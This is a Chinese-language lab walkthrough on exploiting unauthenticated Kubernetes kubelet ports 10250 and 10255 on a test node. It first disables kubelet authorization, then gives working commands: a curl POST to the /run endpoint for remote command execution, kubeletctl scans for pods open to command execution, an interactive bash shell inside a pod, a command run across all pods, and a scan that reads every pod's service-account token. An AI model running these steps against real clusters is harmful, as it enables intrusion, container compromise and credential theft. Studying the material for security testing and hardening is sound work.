kubelet會在K8s集群中的每一個節點上運行一個實例,對容器進行生命周期的管理。kubelet開放的端口有:

  • 4194
  • 10248
  • 10250(kubelet API):是kubelet與 API Server通信的端口,定期請求 API Server獲取自己所應當處理的任務,通過該端口可以訪問獲取node資源以及狀態。如果kubelet的10250端口對外暴露,攻擊者可創建惡意pod或控制已有pod,后續可嘗試逃逸至宿主機。
  • 10255(readonly API):提供了pod和node的信息。如果對外開放,攻擊者利用公開api可以獲取敏感信息。

10250端口未授權訪問

默認情況下是不允許訪問的

現在在node節點172.16.200.71上將/var/lib/kubelet/config.yaml配置修改為如下:

將這里的mode設置為AlwaysAllow之后,那么使用API就不需要鑒權了,默認是使用WebHook

然后重啟


systemctl restart kubelet

再次訪問就可以看到存在未授權了


https://172.16.200.71:10250/runningpods/

但是也只能訪問當前node節點的未授權,其他node節點和master節點的10250端口還是需要授權才能訪問。

命令執行

首先通過未授權頁面得到pod、namespace和containers。

然后可以執行如下命令


curl -XPOST -k "https://172.16.200.71:10250/run/kube-system/kube-proxy-scv7g/kube-proxy" -d "cmd=whoami"

也可以直接使用工具進行后利用:https://github.com/cyberark/kubeletctl

執行如下命令檢測目標node節點上運行了哪些pod


./kubeletctl_darwin_amd64 --server 172.16.200.71 pods

執行如下命令檢測目標node節點上哪些pod可以命令執行


./kubeletctl_darwin_amd64 --server 172.16.200.71 scan rce

然后就可以命令執行了,我們選第3個myapp進行命令執行,可以得到一個交互式的shell


./kubeletctl_darwin_amd64 --server 172.16.200.71 -p myapp -c container -n test exec "/bin/bash"

也可以執行如下命令在所有的pod上執行指定的命令


./kubeletctl_darwin_amd64 --server 172.16.200.71 run "hostname -i" --all-pods

Token讀取

執行如下命令讀取所有pod里面的token


./kubeletctl_darwin_amd64 --server 172.16.200.71 scan token

10255端口未授權訪問

默認情況下該端口是不開啟的,現在在node節點172.16.200.71上將/var/lib/kubelet/config.yaml配置修改為如下:

然后重啟


systemctl restart kubelet

再次訪問就可以看到存在未授權了

對于10255端口的未授權訪問,需要通過 --http --port=10255 參數來指定。


./kubeletctl_darwin_amd64 --server 172.16.200.71 --http --port=10255 pods

并且由于10255端口是只讀的,只能獲取信息,無法對pod執行命令,讀取token等操作。